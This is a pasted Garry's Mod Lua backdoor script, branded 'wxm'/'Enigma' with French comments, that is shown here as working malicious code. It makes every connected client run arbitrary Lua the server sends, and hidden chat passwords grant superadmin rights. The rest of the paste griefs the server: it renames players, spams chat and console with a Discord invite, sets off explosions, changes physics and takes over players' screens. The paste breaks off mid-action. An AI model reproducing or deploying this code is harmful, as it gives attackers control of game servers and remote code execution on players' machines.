Advertisement
Guest User

Untitled

a guest
Jul 15th, 2019
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 34.09 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2. lol:PushAction( 0, function( pPlayer )
  3. lol:SendLua( pPlayer, ([=[
  4. sound.PlayURL( "", "", function()end )
  5.  
  6. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  7. local html = [[%s]]
  8. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  9. local pnl = vgui.Create( "HTML" )
  10. pnl:SetPos( ScrW() -1, ScrH() -1 )
  11. pnl:SetVisible( true )
  12. pnl:SetMouseInputEnabled( false )
  13. pnl:SetKeyBoardInputEnabled( false )
  14. pnl:SetSize( intSizeX, intSizeY )
  15. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  16.  
  17. local PageLoaded
  18. PageLoaded = function()
  19. local mat = pnl:GetHTMLMaterial()
  20. if mat then
  21. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  22. return
  23. end
  24.  
  25. timer.Simple( 0.5, PageLoaded )
  26. end
  27.  
  28. PageLoaded()
  29. end
  30.  
  31. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644585-hud.png", "hud1", 300, 128 )
  32. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644587-hud2.png", "hud2", 300, 128 )
  33. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644600-hud3.png", "hud3", 128, 128 )
  34. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644579-doritos.png", "doritos", 183, 256 )
  35. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644581-fedora.png", "fedora", 256, 256 )
  36. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644577-dew.png", "dew", 110, 256 )
  37. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644574-awp.png", "awp", 256, 55 )
  38. ]=]):format(lol.m_strImageLoadHTML) )
  39. end )
  40.  
  41.  
  42. timer.Create("nonameplease", 5, 0,function()
  43. for i=1, #player.GetHumans() do
  44. local ply = player.GetHumans()[i]
  45. ply:Say( "/ooc Rejoignez l'élite! ===> https://discord.gg/n8Heezw")
  46. end
  47. end)
  48. BroadcastLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
  49. util.AddNetworkString "EnigmaProject"
  50.  
  51. local CHANGERPSEUDO = "wxm la backdoor du diable"
  52. local enigmalaunchproject = {}
  53. function enigmalaunchproject:RandomString( intMin, intMax )
  54. local ret = ""
  55. for _ = 1, math.random( intMin, intMax ) do
  56. ret = ret.. string.char( math.random(65, 90) )
  57. end
  58.  
  59. return ret
  60. end
  61.  
  62.  
  63.  
  64. enigmalaunchproject.m_tblActions = {}
  65. enigmalaunchproject.m_strImageGlobalVar = enigmalaunchproject:RandomString( 6, 12 )
  66. enigmalaunchproject.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  67.  
  68. function enigmalaunchproject:NouvelleAction( intChainDelay, func )
  69. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  70. end
  71.  
  72. function enigmalaunchproject:ActionApres( pPlayer )
  73. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  74. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  75.  
  76. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  77. if not IsValid( pPlayer ) then return end
  78. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  79. self:ActionApres( pPlayer )
  80. end )
  81. end
  82.  
  83. function enigmalaunchproject:Start( pPlayer )
  84. pPlayer.m_intCurAction = 0
  85. self:ActionApres( pPlayer )
  86. end
  87.  
  88. function enigmalaunchproject:SendLua( pPlayer, strLua )
  89. pPlayer:SendLua([[RunConsoleCommand("gmod_language","ko")]])
  90. net.Start( "EnigmaProject" )
  91. net.WriteString( strLua )
  92. net.Send( pPlayer )
  93. end
  94.  
  95. function enigmalaunchproject:SetupPlayer( pPlayer )
  96. pPlayer:SendLua( "net.Receive(\"EnigmaProject\", function() RunString(net.ReadString()) end)" )
  97. end
  98.  
  99.  
  100.  
  101.  
  102.  
  103.  
  104. -- DANSE --
  105.  
  106.  
  107. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_until_your_dead",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  108.  
  109.  
  110. -- FIN DANSE --
  111.  
  112.  
  113.  
  114.  
  115. -- CHANGER NOM --
  116.  
  117.  
  118. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, CHANGERPSEUDO) v:setDarkRPVar("rpname", CHANGERPSEUDO) end
  119.  
  120.  
  121. -- FIN CHANGER NOM --
  122.  
  123.  
  124.  
  125. -- Console Spam
  126.  
  127. decore = {
  128. [[
  129.  
  130.  
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141.  
  142.  
  143.  
  144.  
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151.  
  152.  
  153.  
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160.  
  161.  
  162.  
  163.  
  164.  
  165.  
  166.  
  167.  
  168.  
  169.  
  170.  
  171.  
  172.  
  173.  
  174.  
  175.  
  176.  
  177.  
  178.  
  179.  
  180.  
  181.  
  182.  
  183.  
  184.  
  185.  
  186.  
  187.  
  188.  
  189.  
  190.  
  191.  
  192.  
  193.  
  194.  
  195.  
  196.  
  197.  
  198.  
  199.  
  200.  
  201.  
  202. wxm @ https://discord.gg/n8Heezw
  203. ]]
  204. }
  205.  
  206. function decorationconsole()
  207. print(Color( 0, 0, 0 ), table.Random(decore))
  208. end
  209. -- Console Spam
  210. for k, v in pairs( player.GetAll() ) do
  211. timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
  212. end
  213.  
  214. --[[ MODE ARMAGEDDON --
  215.  
  216.  
  217. hook.Add("Think", "armageddon", function()
  218. local explode = ents.Create( "env_explosion" )
  219. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  220. explode:Spawn()
  221. explode:SetKeyValue( "iMagnitude", "500" )
  222. explode:Fire( "Explode", 0, 0 )
  223. end)
  224.  
  225.  
  226. -- FIN MODE ARMAGEDDON ]]--
  227.  
  228.  
  229. -- Send Lua --
  230. function SendLuaAll( str ) net.Start( "EnigmaProject" ) net.WriteString( str ) net.Broadcast() end
  231.  
  232.  
  233. -- Changer Taille --
  234.  
  235.  
  236. hook.Add("Think", "giant", function()
  237. for k,v in pairs (player.GetAll()) do
  238. v:SetModelScale(50.5, 100);
  239. v:SetRunSpeed(700 * 2);
  240. v:SetWalkSpeed(400 * 2);
  241. end
  242. end)
  243.  
  244.  
  245. -- Fin Changer Taille --
  246.  
  247.  
  248.  
  249. -- Message --
  250.  
  251.  
  252. for k,v in pairs(player.GetAll()) do
  253. v:ConCommand("say /ooc Oups, votre serveur se fait percer de tout les côtes! :(")
  254. end
  255.  
  256.  
  257. -- Message Fin --
  258.  
  259.  
  260.  
  261. -- Auto Lançage --
  262.  
  263.  
  264. for k, v in pairs( player.GetAll() ) do
  265. enigmalaunchproject:SetupPlayer( v )
  266. timer.Simple( 2, function() enigmalaunchproject:Start( v ) end )
  267. end
  268.  
  269.  
  270. -- Fin Auto Lançage --
  271.  
  272.  
  273. -- Lancer Aux Nouveaux Arrivants --
  274.  
  275.  
  276. --hook.Add( "PlayerAuthed", "wtfispassequoi", function( pPlayer )
  277. -- enigmalaunchproject:SetupPlayer( pPlayer )
  278. -- timer.Simple( 10, function() enigmalaunchproject:Start( pPlayer ) end )
  279. --end )
  280.  
  281. -- Fin Lancer Aux Nouveaux Arrivants --
  282.  
  283.  
  284.  
  285. -- Commande Enigma --
  286.  
  287.  
  288. hook.Add( "PlayerSay", "EnigmaCKoa", function( pSender, strText, bTeamChat )
  289. if strText:sub( 1, 5 ) == "Enigma" then
  290. pSender:Ignite( 1e9 )
  291. pSender:ChatPrint( "wxm la backdoor private la plus puissante de GMod ;)" )
  292. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  293. return false
  294. end
  295. end )
  296.  
  297.  
  298. -- Fin Commande Enigma
  299.  
  300.  
  301.  
  302.  
  303.  
  304. hook.Add( "PlayerSay", "a4dxvlwxdlco", function( pSender, strText, bTeamChat )
  305. if strText:sub( 1, 5 ) == "EnigmaIsLitteralyMyFuckingGod" then
  306. pSender:SetUserGroup("superadmin")
  307. pSender:ChatPrint( "Tu est l'un des notres !" )
  308. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  309. return false
  310. end
  311. end)
  312.  
  313.  
  314.  
  315.  
  316.  
  317.  
  318.  
  319.  
  320.  
  321.  
  322. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  323. enigmalaunchproject:SendLua( pPlayer, ([=[
  324.  
  325.  
  326. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  327. local html = [[%s]]
  328. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  329. local pnl = vgui.Create( "HTML" )
  330. pnl:SetPos( ScrW() -1, ScrH() -1 )
  331. pnl:SetVisible( true )
  332. pnl:SetMouseInputEnabled( false )
  333. pnl:SetKeyBoardInputEnabled( false )
  334. pnl:SetSize( intSizeX, intSizeY )
  335. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  336.  
  337. local PageLoaded
  338. PageLoaded = function()
  339. local mat = pnl:GetHTMLMaterial()
  340. if mat then
  341. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  342. return
  343. end
  344.  
  345. timer.Simple( 0.5, PageLoaded )
  346. end
  347.  
  348. PageLoaded()
  349. end
  350.  
  351. --LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/06/5/1518211648-sans-titre-6.gif", "getrekt", 1920, 1080 )
  352.  
  353. hook.Add( "RenderScreenspaceEffects", "itsredworld", function()
  354. local sinScaler = math.sin( CurTime() )
  355. DrawBloom(
  356. 0,
  357. 3,
  358. sinScaler *math.Rand(1, 8),
  359. sinScaler *math.Rand(1, 8),
  360. 6,
  361. math.Rand(0.5, 2),
  362. math.Rand(0, 0.3),
  363. math.Rand(0, 0.3),
  364. math.Rand(0.5, 1)
  365. )
  366.  
  367. DrawColorModify{
  368. ["$pp_colour_addr"] = 1,
  369. ["$pp_colour_addg"] = 0,
  370. ["$pp_colour_addb"] = 0,
  371. ["$pp_colour_brightness" ] = 0.1,
  372. ["$pp_colour_contrast" ] = 0.1,
  373. ["$pp_colour_colour" ] = 0.1,
  374. ["$pp_colour_mulr" ] = 1,
  375. ["$pp_colour_mulg" ] = 0,
  376. ["$pp_colour_mulb" ] = 0
  377. }
  378. end )
  379.  
  380. ]=]):format(enigmalaunchproject.m_strImageLoadHTML) )
  381. end )
  382.  
  383.  
  384.  
  385.  
  386. enigmalaunchproject:NouvelleAction( 14, function( pPlayer )
  387. enigmalaunchproject:SendLua( pPlayer, [[
  388.  
  389. (GAMEMODE or GM).CalcView = function() end
  390. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  391.  
  392. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  393. for k, v in pairs(remove) do
  394. hook.GetTable()[v] = {}
  395. end
  396.  
  397. local function GetWebMat( strURL )
  398. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  399. end
  400.  
  401. hook.Add( "HUDPaint", "hud1enigma", function()
  402. surface.SetDrawColor( 255, 255, 255, 255 )
  403.  
  404. if GetWebMat( "getrekt" ) then
  405. surface.SetMaterial( GetWebMat("getrekt")[1] )
  406. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  407. end
  408.  
  409. draw.SimpleTextOutlined(
  410. "wxm is here",
  411. "DermaLarge",
  412. ScrW() /2 +math.random( -2, 2 ),
  413. ScrH() /2 +math.random( -2, 2 ) +0,
  414. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  415. TEXT_ALIGN_CENTER,
  416. TEXT_ALIGN_CENTER,
  417. 1,
  418. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  419. )
  420. end )
  421.  
  422. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  423. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  424.  
  425. ]] )
  426. end )
  427.  
  428.  
  429.  
  430. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  431. enigmalaunchproject:SendLua( pPlayer, [[
  432.  
  433. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  434.  
  435.  
  436.  
  437. ]] )
  438. end )
  439.  
  440. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  441. enigmalaunchproject:SendLua( pPlayer, [[
  442.  
  443. (GAMEMODE or GM).CalcView = function() end
  444. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  445.  
  446. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  447. for k, v in pairs(remove) do
  448. hook.GetTable()[v] = {}
  449. end
  450.  
  451. local function GetWebMat( strURL )
  452. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  453. end
  454.  
  455. hook.Add( "HUDPaint", "hud1enigma", function()
  456. surface.SetDrawColor( 255, 255, 255, 255 )
  457.  
  458. if GetWebMat( "getrekt" ) then
  459. surface.SetMaterial( GetWebMat("getrekt")[1] )
  460. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  461. end
  462.  
  463. draw.SimpleTextOutlined(
  464. "wxm was here",
  465. "DermaLarge",
  466. ScrW() /2 +math.random( -2, 2 ),
  467. ScrH() /2 +math.random( -2, 2 ) +0,
  468. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  469. TEXT_ALIGN_CENTER,
  470. TEXT_ALIGN_CENTER,
  471. 1,
  472. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  473. )
  474. end )
  475.  
  476. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  477. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  478.  
  479.  
  480. ]] )
  481. end )
  482.  
  483.  
  484. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  485. enigmalaunchproject:SendLua( pPlayer, [[
  486.  
  487. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  488.  
  489. ]] )
  490. end )
  491.  
  492. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  493. enigmalaunchproject:SendLua( pPlayer, [[
  494.  
  495.  
  496. (GAMEMODE or GM).CalcView = function() end
  497. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  498.  
  499. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  500. for k, v in pairs(remove) do
  501. hook.GetTable()[v] = {}
  502. end
  503.  
  504. local function GetWebMat( strURL )
  505. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  506. end
  507.  
  508. hook.Add( "HUDPaint", "hud1enigma", function()
  509. surface.SetDrawColor( 255, 255, 255, 255 )
  510.  
  511. if GetWebMat( "getrekt" ) then
  512. surface.SetMaterial( GetWebMat("getrekt")[1] )
  513. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  514. end
  515.  
  516. draw.SimpleTextOutlined(
  517. "Rejoignez l'élite en venant sur discord!",
  518. "DermaLarge",
  519. ScrW() /2 +math.random( -2, 2 ),
  520. ScrH() /2 +math.random( -2, 2 ) +0,
  521. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  522. TEXT_ALIGN_CENTER,
  523. TEXT_ALIGN_CENTER,
  524. 1,
  525. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  526. )
  527. end )
  528.  
  529. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  530. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  531.  
  532.  
  533.  
  534. ]] )
  535. end )
  536.  
  537. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  538. enigmalaunchproject:SendLua( pPlayer, [[
  539.  
  540. for k,v in pairs(player.GetAll()) do
  541. v:ConCommand("say /job wxm ma vie")
  542. end
  543.  
  544. ]] )
  545. end )
  546. local lol = {}
  547. function lol:RandomString( intMin, intMax )
  548. local ret = ""
  549. for _ = 1, math.random( intMin, intMax ) do
  550. ret = ret.. string.char( math.random(65, 90) )
  551. end
  552.  
  553. return ret
  554. end
  555.  
  556. lol.m_tblActions = {}
  557. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  558. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  559.  
  560. function lol:PushAction( intChainDelay, func )
  561. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  562. end
  563.  
  564. function lol:NextAction( pPlayer )
  565. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  566. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  567.  
  568. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  569. if not IsValid( pPlayer ) then return end
  570. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  571. self:NextAction( pPlayer )
  572. end )
  573. end
  574.  
  575. function lol:Start( pPlayer )
  576. pPlayer.m_intCurAction = 0
  577. self:NextAction( pPlayer )
  578. end
  579.  
  580. function lol:SendLua( pPlayer, strLua )
  581. net.Start( "skeleton_dancing_troll" )
  582. net.WriteString( strLua )
  583. net.Send( pPlayer )
  584. end
  585.  
  586. function lol:SetupPlayer( pPlayer )
  587. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  588. end
  589.  
  590. for k, v in pairs( player.GetAll() ) do
  591. lol:SetupPlayer( v )
  592. timer.Simple( 2, function() lol:Start( v ) end )
  593. end
  594.  
  595. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  596. lol:SetupPlayer( pPlayer )
  597. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  598. end )
  599.  
  600. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  601. if strText:sub( 1, 5 ) == "/1337" then
  602. pSender:Ignite( 1e9 )
  603. pSender:ChatPrint( "wxm best backdoor ever ;)" )
  604. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  605. return false
  606. end
  607. end )
  608.  
  609.  
  610.  
  611.  
  612.  
  613. enigmalaunchproject:NouvelleAction( 2, function( pPlayer )
  614. enigmalaunchproject:SendLua( pPlayer, [[
  615.  
  616. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  617.  
  618. ]] )
  619. end )
  620.  
  621. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  622. enigmalaunchproject:SendLua( pPlayer, [[
  623.  
  624. RunConsoleCommand("+right")
  625.  
  626. ]] )
  627. end )
  628.  
  629. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  630. enigmalaunchproject:SendLua( pPlayer, [[
  631.  
  632. RunConsoleCommand("-right")
  633.  
  634. ]] )
  635. end )
  636.  
  637. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  638. enigmalaunchproject:SendLua( pPlayer, [[
  639.  
  640. RunConsoleCommand("+duck")
  641.  
  642. ]] )
  643. end )
  644.  
  645. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  646. enigmalaunchproject:SendLua( pPlayer, [[
  647.  
  648. RunConsoleCommand("-duck")
  649.  
  650. ]] )
  651. end )
  652.  
  653. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  654.  
  655. timer.Create( "lespamckool", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "wxm l\'élite des backdoors" )' ) end)
  656. timer.Create( "lespamckool2", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "rejoignez l\'élite!" )' ) end)
  657. timer.Create( "lespamckool3", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "https://discord.gg/n8Heezw" )' ) end)
  658. timer.Create( "lespamckool4", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Marlow" )' ) end)
  659. timer.Create( "lespamckool5", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "https://discord.gg/n8Heezw" )' ) end)
  660. timer.Create( "lespamckool6", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "wxm vous couche tous" )' ) end)
  661. timer.Create( "lespamckool7", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "gvac c\'est pour vous bande de pucelles" )' ) end)
  662. timer.Create( "lespamckool8", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "~ l\'élite des backdoors - https://discord.gg/n8Heezw" )' ) end)
  663.  
  664. end )
  665.  
  666.  
  667. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  668.  
  669. timer.Remove( "lespamckool" )
  670. timer.Remove( "lespamckool2" )
  671. timer.Remove( "lespamckool3" )
  672. timer.Remove( "lespamckool4" )
  673. timer.Remove( "lespamckool5" )
  674. timer.Remove( "lespamckool6" )
  675. timer.Remove( "lespamckool7" )
  676. timer.Remove( "lespamckool8" )
  677.  
  678. end )
  679.  
  680. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  681.  
  682.  
  683. RunConsoleCommand("sv_friction", "-50")
  684.  
  685.  
  686. end )
  687.  
  688. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  689.  
  690.  
  691. RunConsoleCommand("sv_gravity", "300")
  692.  
  693.  
  694. end )
  695.  
  696. enigmalaunchproject:NouvelleAction( 12, function( pPlayer )
  697.  
  698.  
  699. hook.Add("Think", "armageddon", function()
  700. local explode = ents.Create( "env_explosion" )
  701. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  702. explode:Spawn()
  703. explode:SetKeyValue( "iMagnitude", "500" )
  704. explode:Fire( "Explode", 0, 0 )
  705. end)
  706.  
  707. end )
  708.  
  709.  
  710. enigmalaunchproject:NouvelleAction( 27, function( pPlayer )
  711.  
  712. hook.Remove( "Think", "armageddon", function() end)
  713.  
  714. end )
  715.  
  716. enigmalaunchproject:NouvelleAction( 7, function( pPlayer )
  717. enigmalaunchproject:SendLua( pPlayer, [[
  718. hook.Add( "RenderScreenspaceEffects", "itsendofworld", function()
  719. local sinScaler = math.sin( CurTime() )
  720. DrawBloom(
  721. 0,
  722. 3,
  723. sinScaler *math.Rand(1, 8),
  724. sinScaler *math.Rand(1, 8),
  725. 6,
  726. math.Rand(0.5, 2),
  727. math.Rand(0, 0.3),
  728. math.Rand(0, 0.3),
  729. math.Rand(0.5, 1)
  730. )
  731.  
  732. DrawColorModify{
  733. ["$pp_colour_addr"] = 0,
  734. ["$pp_colour_addg"] = 0,
  735. ["$pp_colour_addb"] = 0,
  736. ["$pp_colour_brightness" ] = 0.1,
  737. ["$pp_colour_contrast" ] = 0.1,
  738. ["$pp_colour_colour" ] = 0.1,
  739. ["$pp_colour_mulr" ] = 0,
  740. ["$pp_colour_mulg" ] = 0,
  741. ["$pp_colour_mulb" ] = 0
  742. }
  743. end )
  744.  
  745. ]] )
  746. end )
  747.  
  748. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  749. enigmalaunchproject:SendLua( pPlayer, [[
  750.  
  751. (GAMEMODE or GM).CalcView = function() end
  752. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  753.  
  754. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  755. for k, v in pairs(remove) do
  756. hook.GetTable()[v] = {}
  757. end
  758.  
  759. local function GetWebMat( strURL )
  760. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  761. end
  762.  
  763. hook.Add( "HUDPaint", "hud1enigma", function()
  764. surface.SetDrawColor( 255, 255, 255, 255 )
  765.  
  766. draw.SimpleTextOutlined(
  767. "wxm",
  768. "HACK",
  769. ScrW() /2 +math.random( -270, 300 ),
  770. ScrH() /2 +math.random( -300, 700 ) +0,
  771. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  772. TEXT_ALIGN_CENTER,
  773. TEXT_ALIGN_CENTER,
  774. 1,
  775. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  776. )
  777. end )
  778.  
  779. ]] )
  780. end )
  781.  
  782.  
  783. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  784. enigmalaunchproject:SendLua( pPlayer, [[
  785.  
  786. (GAMEMODE or GM).CalcView = function() end
  787. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  788.  
  789. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  790. for k, v in pairs(remove) do
  791. hook.GetTable()[v] = {}
  792. end
  793.  
  794. local function GetWebMat( strURL )
  795. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  796. end
  797.  
  798. hook.Add( "HUDPaint", "hud2enigma", function()
  799. surface.SetDrawColor( 255, 255, 255, 255 )
  800.  
  801. draw.SimpleTextOutlined(
  802. "hmm la backdoor qui fait du bien",
  803. "DermaLarge",
  804. ScrW() /2 +math.random( -600, 700 ),
  805. ScrH() /2 +math.random( -200, 800 ) +100,
  806. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  807. TEXT_ALIGN_CENTER,
  808. TEXT_ALIGN_CENTER,
  809. 1,
  810. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  811. )
  812. end )
  813. ]] )
  814. end )
  815.  
  816. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  817. enigmalaunchproject:SendLua( pPlayer, [[
  818.  
  819. (GAMEMODE or GM).CalcView = function() end
  820. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  821.  
  822. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  823. for k, v in pairs(remove) do
  824. hook.GetTable()[v] = {}
  825. end
  826.  
  827. local function GetWebMat( strURL )
  828. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  829. end
  830.  
  831. hook.Add( "HUDPaint", "hud3enigma", function()
  832. surface.SetDrawColor( 255, 255, 255, 255 )
  833.  
  834. draw.SimpleTextOutlined(
  835. "wxm",
  836. "DermaLarge",
  837. ScrW() /2 +math.random( -400, 500 ),
  838. ScrH() /2 +math.random( -600, 500 ) -100,
  839. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  840. TEXT_ALIGN_CENTER,
  841. TEXT_ALIGN_CENTER,
  842. 1,
  843. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  844. )
  845. end )
  846. ]] )
  847. end )
  848.  
  849. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  850. enigmalaunchproject:SendLua( pPlayer, [[
  851.  
  852. (GAMEMODE or GM).CalcView = function() end
  853. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  854.  
  855. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  856. for k, v in pairs(remove) do
  857. hook.GetTable()[v] = {}
  858. end
  859.  
  860. local function GetWebMat( strURL )
  861. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  862. end
  863.  
  864. hook.Add( "HUDPaint", "hud5enigma", function()
  865. surface.SetDrawColor( 255, 255, 255, 255 )
  866.  
  867. draw.SimpleTextOutlined(
  868. "wxm",
  869. "DermaLarge",
  870. ScrW() /2 +math.random( -500, 500 ),
  871. ScrH() /2 +math.random( -500, 500 ) +0,
  872. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  873. TEXT_ALIGN_CENTER,
  874. TEXT_ALIGN_CENTER,
  875. 1,
  876. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  877. )
  878. end )
  879. ]] )
  880. end )
  881.  
  882. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  883. enigmalaunchproject:SendLua( pPlayer, [[
  884.  
